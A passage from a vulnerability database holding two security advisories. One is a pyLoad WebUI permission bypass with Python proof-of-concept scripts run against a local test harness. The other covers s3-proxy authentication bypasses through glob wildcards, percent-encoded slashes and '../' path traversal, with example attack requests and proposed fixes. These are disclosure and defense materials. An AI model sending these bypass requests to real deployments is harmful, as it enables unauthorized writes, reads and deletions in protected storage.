  "details": "### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad\u0027s own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n  - `/json/move_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n  - `/json/edit_package` -\u003e `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == \u0027attacker\u0027\n\n    def order_package(self, pack_id, pos):\n        self.calls.append((\u0027order_package\u0027, int(pack_id), int(pos)))\n\n    def order_file(self, file_id, pos):\n        self.calls.append((\u0027order_file\u0027, int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.ADD}\nprint(\u0027API auth (ADD-only) order_package:\u0027, api.is_authorized(\u0027order_package\u0027, ctx))\nprint(\u0027API auth (ADD-only) order_file:\u0027, api.is_authorized(\u0027order_file\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s[\u0027authenticated\u0027] = True\n        s[\u0027name\u0027] = \u0027attacker\u0027\n        s[\u0027role\u0027] = int(Role.USER)\n        s[\u0027perms\u0027] = int(Perms.ADD)\n\n    r1 = c.post(\u0027/json/package_order\u0027, json={\u0027pack_id\u0027: 5, \u0027pos\u0027: 0})\n    r2 = c.post(\u0027/json/link_order\u0027, json={\u0027file_id\u0027: 77, \u0027pos\u0027: 1})\n\nprint(\u0027HTTP /json/package_order:\u0027, r1.status_code, r1.get_data(as_text=True).strip())\nprint(\u0027HTTP /json/link_order:\u0027, r2.status_code, r2.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [(\u0027order_package\u0027, 5, 0), (\u0027order_file\u0027, 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath(\u0027src\u0027))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n    def __init__(self):\n        self.calls = []\n\n    def user_exists(self, username):\n        return username == \u0027u\u0027\n\n    def stop_downloads(self, ids):\n        self.calls.append((\u0027stop_downloads\u0027, ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {\u0027role\u0027: Role.USER, \u0027permission\u0027: Perms.DELETE}\nprint(\u0027API auth (DELETE-only) stop_downloads:\u0027, api.is_authorized(\u0027stop_downloads\u0027, ctx))\n\napp = Flask(__name__)\napp.secret_key = \u0027k\u0027\napp.config[\u0027TESTING\u0027] = True\napp.config[\u0027WTF_CSRF_ENABLED\u0027] = False\nf = FakeApi()\napp.config[\u0027PYLOAD_API\u0027] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n    with c.session_transaction() as s:\n        s[\u0027authenticated\u0027] = True\n        s[\u0027name\u0027] = \u0027u\u0027\n        s[\u0027role\u0027] = int(Role.USER)\n        s[\u0027perms\u0027] = int(Perms.DELETE)\n\n    r = c.post(\u0027/json/abort_link\u0027, json={\u0027link_id\u0027: 999})\n\nprint(\u0027HTTP /json/abort_link:\u0027, r.status_code, r.get_data(as_text=True).strip())\nprint(\u0027calls:\u0027, f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [(\u0027stop_downloads\u0027, [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.",
  "id": "GHSA-rfgh-63mg-8pwm",
  "modified": "2026-04-13T17:39:20Z",
  "published": "2026-04-08T00:18:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40071"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions"
}

GHSA-RFGQ-WGG8-662P

Vulnerability from github – Published: 2026-05-05 18:52 – Updated: 2026-05-13 14:19
VLAI
Summary
S3-Proxy has Security Issues in its Resource Path Matching Implementation
Details

Background

The original concern is functional: a resource pattern should treat a percent-encoded segment like some%2Fvalue as a single opaque token rather than splitting it into two path segments at the decoded /. Investigation into why %2F was being decoded and how routes matched against the result surfaced three related security issues, documented below.

Rather than landing a fix directly, the problem space warrants discussion first. Different fixes carry different compliance and compatibility tradeoffs, and every viable option is a breaking change in some form. Aligning on a direction before committing to an implementation is the safer path.

Root cause: two different path representations

Go's net/http decodes percent-encoded characters when it parses an incoming URL: %2F becomes / in r.URL.Path, while the original encoded form is preserved in r.URL.RawPath. Two different parts of s3-proxy use different fields:

  • The auth middleware calls r.URL.RequestURI(), which returns the encoded form (from RawPath when available). It sees %2F as literal characters, not as path separators.
  • The bucket handler reads r.URL.Path to build the S3 key. It sees the decoded form, where %2F has already become /.

All three issues stem from this mismatch, combined with how glob patterns are compiled. The examples below use PUT for concreteness, but the auth bypass applies to any HTTP method — a config that restricts GET or DELETE on a namespace is equally affected, meaning an attacker could read from or delete objects in a protected namespace without credentials.

A note on RFC 3986

RFC 3986 §2.2 states that / and %2F are not equivalent in a URI path:

URIs that differ in the replacement of a reserved character with its corresponding percent-encoded octet are not equivalent.

/ is a reserved gen-delim used as a path segment separator. %2F is its percent-encoded form and, by the RFC, should be treated as data within a segment — not as a separator. So:

  • /foo/bar/baz → three segments: foo, bar, baz
  • /foo%2Fbar/baz → two segments: foo/bar (opaque data), baz

The original functional concern (wanting foo%2Fbar to match as a single token against a single-segment wildcard) is therefore RFC-correct behaviour. Go's r.URL.Path violates this by decoding %2F to /, collapsing the two representations into one. This is the underlying tension that makes fixing these issues non-trivial: the simplest security fix makes s3-proxy more RFC non-compliant, while the RFC-correct fix requires a more significant refactor.

A note on breaking changes

Any of the proposed fixes for these issues should be treated as a breaking change. Each option alters how path patterns in existing configs are interpreted — whether by changing how * matches segments, by shifting which path representation auth matches against, or by normalising paths before they reach the router. Operators upgrading to a fixed version will need to review their resource path definitions, and a clear migration note in the changelog is essential regardless of which approach is chosen.

One way to avoid a hard breaking change would be to introduce a new field — for example route: — that carries the fixed semantics, while keeping the existing path: field with its current behaviour (and marking it deprecated). Operators could migrate resource definitions incrementally, and the security fix would be available immediately without requiring a coordinated config update across all deployments. The obvious cost of this approach is maintaining two parallel implementations, duplicated test coverage, and the ongoing burden of supporting a deprecated code path until it can eventually be removed.


Issue 1 — * in resource paths matches across /

Background

Resource paths are matched using github.com/gobwas/glob. The call site is:

// pkg/s3-proxy/authx/authentication/main.go
g, err := glob.Compile(res.Path)

glob.Compile is called without a separator argument. Without a separator, * matches any character — including /. This means a pattern intended to protect a single path segment actually matches across directory boundaries.

Example

Consider a config with an open route and a protected route:

resources:
  # open — no auth required
  - path: /upload/*/drafts/
    methods: [PUT]
    whiteList: true

  # protected — basic auth required
  - path: /upload/*/restricted/
    methods: [PUT]
    basic:
      ...

The intent is clear: drafts is open, restricted is protected. The * is meant to match a single path segment (the object identifier).

However, because * crosses /, the pattern /upload/*/drafts/ also matches:

PUT /upload/foo/drafts/../restricted/

The path segment matched by * is foo, and then drafts/../restricted/ is consumed by the rest of the pattern — because without a separator, * is equivalent to .* and matches /, ., and everything else.

The result: an unauthenticated request is accepted by the open route.

Fix discussion

The straightforward fix is to pass '/' as the separator to glob.Compile:

// before
g, err := glob.Compile(res.Path)

// after
g, err := glob.Compile(res.Path, '/')

With a separator set: - * matches any sequence of non-/ characters (a single path segment). - ** matches any sequence including / (crossing path boundaries).

This fix closes the Issue 1 attack above: with a separator, drafts/../restricted/ is more than one segment and no longer matches the pattern /upload/*/drafts/.

Breaking change

Any existing config that relies on * crossing / must be updated to **. For example:

# before — worked accidentally because * crossed /
- path: /upload/*/drafts/

# after — single-segment match (behaviour unchanged for single-segment IDs)
- path: /upload/*/drafts/

# after — multi-segment match (e.g. nested object IDs containing /)
- path: /upload/**/drafts/

A migration note in the changelog would be needed.


Issue 2 — Percent-encoded slashes bypass auth via segment collapsing

Background

With Fix 1 applied, * only matches a single path segment. However, the auth middleware matches against r.URL.RequestURI() — the encoded path — while the bucket handler uses r.URL.Path — the decoded path. A client can use %2F to make what looks like a single segment in the encoded URI decode into multiple segments including a protected path component.

Example

Using the same config as Issue 1:

PUT /upload/foo%2Frestricted/drafts/

Step by step:

  1. r.URL.RawPath = /upload/foo%2Frestricted/drafts/
  2. r.URL.Path (decoded) = /upload/foo/restricted/drafts/
  3. Auth middleware calls r.URL.RequestURI() → returns the encoded form.
  4. With Fix 1's separator /, glob splits on the literal /. The segment between the first and second slash is foo%2Frestricted — one token with no literal / — so * matches it. Pattern /upload/*/drafts/ fires.
  5. Open route → request proceeds without auth.
  6. Bucket handler uses r.URL.Path → S3 key is upload/foo/restricted/drafts/…written into the restricted namespace without credentials.

Proof via integration test

I added TestPercentEncodedSlashBypass to pkg/s3-proxy/server/server_integration_test.go. The test sends a complete multipart PUT without credentials and asserts a 401 response. It currently fails with 204 — the file is written in full to the restricted namespace without any authentication.

Fix discussion

This issue has two fundamentally different classes of fix, each with a different stance on RFC 3986 compliance.

Option A — Match auth against the decoded path (r.URL.Path)

Change the auth middleware to use r.URL.Path instead of r.URL.RequestURI():

// before
requestURI := r.URL.RequestURI()

// after
requestURI := r.URL.Path

Both auth and the bucket handler now operate on the same decoded string, closing the mismatch that enables the bypass.

Pros: One-line change; no other code touched; closes the bypass completely.

Cons: RFC 3986 non-compliant — /foo%2Fbar/baz and /foo/bar/baz become indistinguishable at the auth layer. A pattern like /upload/*/drafts/ will match both PUT /upload/foo/drafts/ and PUT /upload/foo%2F.../drafts/ identically after decoding, making it impossible for operators to write a pattern that distinguishes the two. Any path segment containing a literal / encoded as %2F can never be matched as a single token by *.

Option B — Use the raw path in both auth and key construction

Keep r.URL.RequestURI() in the auth middleware (reverting the Option A change) and replace the bucket handler's decoded path extraction with r.URL.EscapedPath() stripped of the mount path prefix. The AWS SDK then handles percent-encoding the key in the HTTP request to S3, with no manual segment splitting required.

This keeps %2F opaque at both layers: auth matches against the encoded form, and the S3 key preserves the encoded characters verbatim.

Security mechanism: the bypass attack (PUT /upload/foo%2Frestricted/drafts/) still returns 204 — the open route genuinely matches, because foo%2Frestricted is one encoded segment and * accepts it. However, the key written to S3 is upload/foo%2Frestricted/drafts/… — a distinct namespace from upload/foo/restricted/drafts/…. The attacker cannot reach the protected prefix because %2F and / are treated as different characters all the way to storage.

AWS S3 compatibility confirmed: S3 natively supports %2F in key names. A key upload/foo%2Fbar/file.txt is stored and retrieved as a distinct object from upload/foo/bar/file.txt. All four operations (HEAD, GET, PUT, DELETE) work correctly with %2F-containing paths.

Pros: RFC-compliant; %2F remains a meaningful encoding — foo%2Fbar is one token and * correctly matches it as a single segment; /foo%2Fbar/baz and /foo/bar/baz are distinct at both auth and storage layers; simpler than it sounds — no custom segment-splitting utility needed, just r.URL.EscapedPath() in the handler. The breaking change is contained to config files, not clients: the only clients that break are those relying on * crossing literal / — and those require a config change to ** under any fix option. Clients that encode user input containing / as %2F in a path segment are preserved: foo%2Fbar is still one encoded segment, and * still matches it. Under Option A those same clients break — the decoded form splits into multiple segments that no longer match *. The required client-side fix would be to filter or transform any / out of user input before building the URL, which may not always be feasible if the / carries meaning.

Cons: The auth middleware reverts to using the encoded path, which re-opens the door to dot-segment bypass (Issue 3) if the path-cleaning middleware is not also in place — the two fixes must be applied together.

A note on the 204 response: a request like PUT /upload/foo%2Frestricted/drafts/ returns 204 under this option, which may look like a bypass at first glance. It is not. If %2F carries meaning, foo%2Frestricted is a valid identifier indistinguishable from any other — the server has no basis to treat it as suspicious. The correct security responsibility is to handle all inputs consistently and safely, not to guess intent based on the content of user-provided values. The namespace separation guarantee satisfies that: whatever the client sends is handled the same way at both the auth and storage layers.

Option C — Reject requests containing %2F in the path

Return 400 Bad Request for any request whose raw path contains %2F:

if strings.Contains(r.URL.RawPath, "%2F") || strings.Contains(r.URL.RawPath, "%2f") {
    http.Error(w, "Bad Request", http.StatusBadRequest)
    return
}

Pros: Simplest possible enforcement; eliminates the ambiguity entirely.

Cons: Breaks any client that sends object names containing / encoded as %2F; rules out a legitimate and RFC-sanctioned use of percent-encoding.


Issue 3 — Dot-dot segments bypass authentication with prefix patterns

Background

Issues 1 and 2 both involve * (single-segment wildcard). A different class of bypass survives Fix 1 and Fix 2 when configs use prefix-style patterns with ** at the end, such as /open/**. This is a natural and common pattern for "allow everything under this prefix." The ** token is explicitly designed to cross /, so .. traversal within that prefix still reaches protected paths.

Note that %2F..%2F encoded traversal is a variant of this issue: the decoded form (/../) contains dot segments that ** can consume, as described in the root cause section.

Example

Consider this config:

resources:
  # protected — basic auth required for anything under /restricted/
  - path: /restricted/**
    methods: [PUT]
    basic:
      ...

  # open — no auth required for anything under /open/
  - path: /open/**
    methods: [PUT]
    whiteList: true

Without any path normalization, the following request bypasses auth:

PUT /open/../restricted/secret.json

Step by step:

  1. Go's net/url resolves dot segments when parsing the request URI: r.URL.Path is /restricted/secret.json. The raw form ../ is preserved only in r.URL.RawPath.
  2. The auth middleware calls r.URL.RequestURI(), which returns the encoded form — /open/../restricted/secret.json — and evaluates resources against that.
  3. /restricted/** does not match because the raw path does not start with /restricted/.
  4. /open/** matches: ** is allowed to cross /, so it consumes ../restricted/secret.json.
  5. The open route fires — no auth required — the request returns 204.
  6. The bucket handler reads r.URL.Path — already /restricted/secret.json — and writes the file directly into the restricted namespace.

Confirmed against AWS S3: the file lands at restricted/secret.json — not at a key containing ../. Go resolves the dot segments before the bucket handler runs, so the write goes straight into the protected prefix. This makes the attack more severe than a key-naming anomaly: it is a direct, confirmed write into the restricted namespace with no authentication.

Proof via integration test

I added TestPathTraversalDoubleStarPrefix to pkg/s3-proxy/server/server_integration_test.go. It uses the exact config above and shows that, with a path-cleaning middleware applied before the auth middleware, the traversal returns 401 instead of 204:

{
    // /open/** still matches /open/../restricted/file because ** crosses '/'.
    // cleanPathMiddleware resolves the path to /restricted/file first, which
    // matches the protected resource -> 401.
    // Without cleanPathMiddleware this would return 204 (auth bypassed).
    name:         "traversal from open to restricted via ** prefix pattern is blocked",
    inputMethod:  "PUT",
    inputURL:     "http://localhost/open/../restricted/file.txt",
    expectedCode: 401,
},

Note on %2E (percent-encoded dots)

Go's net/http decodes %2E. in r.URL.Path before any middleware runs, so %2E%2E arrives as .. by the time any of the options below apply. All options operate on the already-decoded r.URL.Path and therefore handle encoded dots without any extra work.

Fix discussion

All options below address the same root problem: r.URL.RequestURI() preserves dot segments while r.URL.Path has already resolved them, and auth sees the un-resolved form. The options differ in where the resolution happens and how invasive the change is.

Option A — Reject requests containing dot segments

Reject (400 Bad Request) any request whose decoded path contains /./ or /../:

func rejectDotSegmentsMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        p := r.URL.Path
        if strings.Contains(p, "/./") || strings.Contains(p, "/../") ||
            strings.HasSuffix(p, "/.") || strings.HasSuffix(p, "/..") {
            http.Error(w, "Bad Request", http.StatusBadRequest)
            return
        }
        next.ServeHTTP(w, r)
    })
}

Pros: Simple, explicit, no normalization side-effects.
Cons: Rejects requests that some clients may legitimately send (though dot segments in HTTP paths are unusual and ill-advised).

Option B — Use path.Clean

func cleanPathMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        p := r.URL.Path
        cleaned := path.Clean(p)
        if cleaned != p {
            r2 := r.Clone(r.Context())
            r2.URL.Path = cleaned
            r2.URL.RawPath = ""
            next.ServeHTTP(w, r2)
            return
        }
        next.ServeHTTP(w, r)
    })
}

path.Clean resolves .. and ., collapses double slashes, and also removes the trailing slash. The trailing-slash removal is a breaking change for any config that uses paths ending in / — resource patterns, mount paths, or anything else matched against the incoming path. A request to /upload/foo/drafts/ would be cleaned to /upload/foo/drafts, and any pattern or handler that expects the trailing slash would no longer match.

This can be mitigated by restoring the trailing slash after cleaning:

if len(p) > 1 && p[len(p)-1] == '/' {
    cleaned += "/"
}

Implementation note: An approach that stores the cleaned path in the request context rather than modifying r.URL.Path and clearing r.URL.RawPath will not work: both the auth middleware and the bucket handler read from r.URL directly, so a context-stored override is invisible to them.

Pros: Uses the standard library; less custom code.
Cons: The trailing-slash removal is mitigable by restoring the trailing slash after cleaning (as shown above), but it adds a correctness requirement to the middleware that is easy to overlook — omitting it silently breaks any config using trailing-slash patterns, which is the default convention in s3-proxy examples and documentation.


Interaction between Issue 2 and Issue 3 fixes

The choice made for Issue 2 affects the tradeoffs for Issue 3:

  • If Option A is chosen for Issue 2 (auth uses r.URL.Path), then dot segments have already been resolved by Go before any middleware runs, so Issue 3 is partially addressed without any additional middleware — but Option A's RFC non-compliance tradeoff still applies.
  • If Option B is chosen for Issue 2 (raw path in both layers), the auth middleware sees the encoded form, which still contains literal ../ dot segments. Issue 3 is not addressed by Option B alone — one of the Issue 3 options must also be applied. Importantly, whichever dot-segment option is chosen must clear r.URL.RawPath when it modifies the path, so that r.URL.EscapedPath() in the bucket handler reflects the cleaned path. This works naturally with both Issue 3 options (which operate on r.URL.Path and clear RawPath), and the fixes compose cleanly in practice.
  • In all cases, an explicit dot-segment policy (reject or resolve) is clearer than relying on Go's implicit resolution as a side-effect.

Combined effect

Attack Issue 1 fix Issue 2 fix Issue 3 fix
* crosses / (/upload/*/drafts/ matches ../restricted/) Fixed
%2F segment injection (foo%2Frestricted/drafts/ bypasses */restricted/) No Fixed
.. traversal via ** prefix pattern (/open/../restricted/) No No Fixed
%2F..%2F encoded traversal (decoded .. consumed by **) No Fixed* Fixed

* Issue 2's fix (auth using decoded path, Option A) also prevents %2F-encoded dot segments from being treated as opaque tokens, so the decoded .. is visible to the glob before matching.


Suggested combination of fixes

  • Issue 1: Pass '/' as the separator to glob.Compile. Unambiguously correct; * should never have crossed /.
  • Issue 2: Option B — use the raw path (r.URL.EscapedPath()) in both the auth middleware and the bucket handler. This is the only option that avoids client-side breaking changes for operators whose clients encode user input containing / as %2F. The security guarantee is namespace separation, which is the right model: the server has no basis to distinguish a legitimate %2F-encoded identifier from one that "looks like" a traversal attempt, so consistent handling at both layers is the correct responsibility boundary.
  • Issue 3: Option B — cleanPathMiddleware using path.Clean with trailing slash restored. Required when using Issue 2 Option B, since auth still sees the raw path. The two fixes compose cleanly: the middleware modifies r.URL.Path and clears r.URL.RawPath, so r.URL.EscapedPath() in the bucket handler reflects the cleaned path.

The combined breaking change is limited to config files: operators need to replace * with ** wherever multi-segment wildcard matching is intended. Client-facing URLs require no changes.


Resources

  • pkg/s3-proxy/authx/authentication/main.gofindResource, the glob.Compile call
  • pkg/s3-proxy/server/server_integration_test.goTestPercentEncodedSlashBypass, TestPathTraversalDoubleStarPrefix, TestPathCleaning
  • github.com/gobwas/glob — separator documentation
  • RFC 3986 §2.2 — equivalence of percent-encoded reserved characters
  • RFC 3986 §3.3 — path segment semantics
  • RFC 3986 §5.2.4 — dot-segment resolution in URI paths
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/oxyno-zeta/s3-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260424211602-1320e4abd46a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42882"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T18:52:56Z",
    "nvd_published_at": "2026-05-11T20:25:44Z",
    "severity": "CRITICAL"
  },
  "details": "## Background\n\nThe original concern is functional: a resource pattern should treat a percent-encoded segment like some%2Fvalue as a single opaque token rather than splitting it into two path segments at the decoded /. Investigation into why %2F was being decoded and how routes matched against the result surfaced three related security issues, documented below.\n\nRather than landing a fix directly, the problem space warrants discussion first. Different fixes carry different compliance and compatibility tradeoffs, and every viable option is a breaking change in some form. Aligning on a direction before committing to an implementation is the safer path.\n\n## Root cause: two different path representations\n\nGo\u0027s `net/http` decodes percent-encoded characters when it parses an incoming URL:\n`%2F` becomes `/` in `r.URL.Path`, while the original encoded form is preserved in\n`r.URL.RawPath`. Two different parts of s3-proxy use different fields:\n\n- The **auth middleware** calls `r.URL.RequestURI()`, which returns the encoded\n  form (from `RawPath` when available). It sees `%2F` as literal characters, not\n  as path separators.\n- The **bucket handler** reads `r.URL.Path` to build the S3 key. It sees the\n  decoded form, where `%2F` has already become `/`.\n\nAll three issues stem from this mismatch, combined with how glob patterns are\ncompiled. The examples below use PUT for concreteness, but the auth bypass applies\nto any HTTP method \u2014 a config that restricts GET or DELETE on a namespace is\nequally affected, meaning an attacker could read from or delete objects in a\nprotected namespace without credentials.\n\n### A note on RFC 3986\n\nRFC 3986 \u00a72.2 states that `/` and `%2F` are **not equivalent** in a URI path:\n\n\u003e URIs that differ in the replacement of a reserved character with its\n\u003e corresponding percent-encoded octet are **not** equivalent.\n\n`/` is a reserved gen-delim used as a path segment separator. `%2F` is its\npercent-encoded form and, by the RFC, should be treated as data *within* a\nsegment \u2014 not as a separator. So:\n\n- `/foo/bar/baz` \u2192 three segments: `foo`, `bar`, `baz`\n- `/foo%2Fbar/baz` \u2192 two segments: `foo/bar` (opaque data), `baz`\n\nThe original functional concern (wanting `foo%2Fbar` to match as a single token\nagainst a single-segment wildcard) is therefore RFC-correct behaviour. Go\u0027s\n`r.URL.Path` violates this by decoding `%2F` to `/`, collapsing the two\nrepresentations into one. This is the underlying tension that makes fixing these\nissues non-trivial: the simplest security fix makes s3-proxy *more* RFC\nnon-compliant, while the RFC-correct fix requires a more significant refactor.\n\n### A note on breaking changes\n\nAny of the proposed fixes for these issues should be treated as a **breaking\nchange**. Each option alters how path patterns in existing configs are interpreted\n\u2014 whether by changing how `*` matches segments, by shifting which path\nrepresentation auth matches against, or by normalising paths before they reach the\nrouter. Operators upgrading to a fixed version will need to review their resource\npath definitions, and a clear migration note in the changelog is essential\nregardless of which approach is chosen.\n\nOne way to avoid a hard breaking change would be to introduce a new field \u2014 for\nexample `route:` \u2014 that carries the fixed semantics, while keeping the existing\n`path:` field with its current behaviour (and marking it deprecated). Operators\ncould migrate resource definitions incrementally, and the security fix would be\navailable immediately without requiring a coordinated config update across all\ndeployments. The obvious cost of this approach is maintaining two parallel\nimplementations, duplicated test coverage, and the ongoing burden of supporting\na deprecated code path until it can eventually be removed.\n\n---\n\n## Issue 1 \u2014 `*` in resource paths matches across `/`\n\n### Background\n\nResource paths are matched using `github.com/gobwas/glob`. The call site is:\n\n```go\n// pkg/s3-proxy/authx/authentication/main.go\ng, err := glob.Compile(res.Path)\n```\n\n`glob.Compile` is called **without a separator argument**. Without a separator,\n`*` matches any character \u2014 including `/`. This means a pattern intended to protect\na single path segment actually matches across directory boundaries.\n\n### Example\n\nConsider a config with an open route and a protected route:\n\n```yaml\nresources:\n  # open \u2014 no auth required\n  - path: /upload/*/drafts/\n    methods: [PUT]\n    whiteList: true\n\n  # protected \u2014 basic auth required\n  - path: /upload/*/restricted/\n    methods: [PUT]\n    basic:\n      ...\n```\n\nThe intent is clear: `drafts` is open, `restricted` is protected. The `*` is meant\nto match a single path segment (the object identifier).\n\nHowever, because `*` crosses `/`, the pattern `/upload/*/drafts/` also matches:\n\n```\nPUT /upload/foo/drafts/../restricted/\n```\n\nThe path segment matched by `*` is `foo`, and then `drafts/../restricted/` is\nconsumed by the rest of the pattern \u2014 because without a separator, `*` is equivalent\nto `.*` and matches `/`, `.`, and everything else.\n\nThe result: an unauthenticated request is accepted by the open route.\n\n### Fix discussion\n\nThe straightforward fix is to pass `\u0027/\u0027` as the separator to `glob.Compile`:\n\n```go\n// before\ng, err := glob.Compile(res.Path)\n\n// after\ng, err := glob.Compile(res.Path, \u0027/\u0027)\n```\n\nWith a separator set:\n- `*` matches any sequence of non-`/` characters (a single path segment).\n- `**` matches any sequence including `/` (crossing path boundaries).\n\nThis fix closes the Issue 1 attack above: with a separator, `drafts/../restricted/`\nis more than one segment and no longer matches the pattern `/upload/*/drafts/`.\n\n#### Breaking change\n\nAny existing config that relies on `*` crossing `/` must be updated to `**`. For\nexample:\n\n```yaml\n# before \u2014 worked accidentally because * crossed /\n- path: /upload/*/drafts/\n\n# after \u2014 single-segment match (behaviour unchanged for single-segment IDs)\n- path: /upload/*/drafts/\n\n# after \u2014 multi-segment match (e.g. nested object IDs containing /)\n- path: /upload/**/drafts/\n```\n\nA migration note in the changelog would be needed.\n\n---\n\n## Issue 2 \u2014 Percent-encoded slashes bypass auth via segment collapsing\n\n### Background\n\nWith Fix 1 applied, `*` only matches a single path segment. However, the auth\nmiddleware matches against `r.URL.RequestURI()` \u2014 the **encoded** path \u2014 while the\nbucket handler uses `r.URL.Path` \u2014 the **decoded** path. A client can use `%2F`\nto make what looks like a single segment in the encoded URI decode into multiple\nsegments including a protected path component.\n\n### Example\n\nUsing the same config as Issue 1:\n\n```\nPUT /upload/foo%2Frestricted/drafts/\n```\n\nStep by step:\n\n1. `r.URL.RawPath` = `/upload/foo%2Frestricted/drafts/`\n2. `r.URL.Path` (decoded) = `/upload/foo/restricted/drafts/`\n3. Auth middleware calls `r.URL.RequestURI()` \u2192 returns the encoded form.\n4. With Fix 1\u0027s separator `/`, glob splits on the literal `/`. The segment between\n   the first and second slash is `foo%2Frestricted` \u2014 one token with no literal `/`\n   \u2014 so `*` matches it. Pattern `/upload/*/drafts/` fires.\n5. Open route \u2192 request proceeds without auth.\n6. Bucket handler uses `r.URL.Path` \u2192 S3 key is `upload/foo/restricted/drafts/\u2026`\n   \u2014 **written into the restricted namespace without credentials**.\n\n### Proof via integration test\n\nI added `TestPercentEncodedSlashBypass` to\n`pkg/s3-proxy/server/server_integration_test.go`. The test sends a complete\nmultipart PUT without credentials and asserts a 401 response. It currently fails\nwith **204** \u2014 the file is written in full to the restricted namespace without any\nauthentication.\n\n### Fix discussion\n\nThis issue has two fundamentally different classes of fix, each with a different\nstance on RFC 3986 compliance.\n\n#### Option A \u2014 Match auth against the decoded path (`r.URL.Path`)\n\nChange the auth middleware to use `r.URL.Path` instead of `r.URL.RequestURI()`:\n\n```go\n// before\nrequestURI := r.URL.RequestURI()\n\n// after\nrequestURI := r.URL.Path\n```\n\nBoth auth and the bucket handler now operate on the same decoded string, closing\nthe mismatch that enables the bypass.\n\n**Pros:** One-line change; no other code touched; closes the bypass completely.\n\n**Cons:** RFC 3986 non-compliant \u2014 `/foo%2Fbar/baz` and `/foo/bar/baz` become\nindistinguishable at the auth layer. A pattern like `/upload/*/drafts/` will match\nboth `PUT /upload/foo/drafts/` and `PUT /upload/foo%2F.../drafts/` identically\nafter decoding, making it impossible for operators to write a pattern that\ndistinguishes the two. Any path segment containing a literal `/` encoded as `%2F`\ncan never be matched as 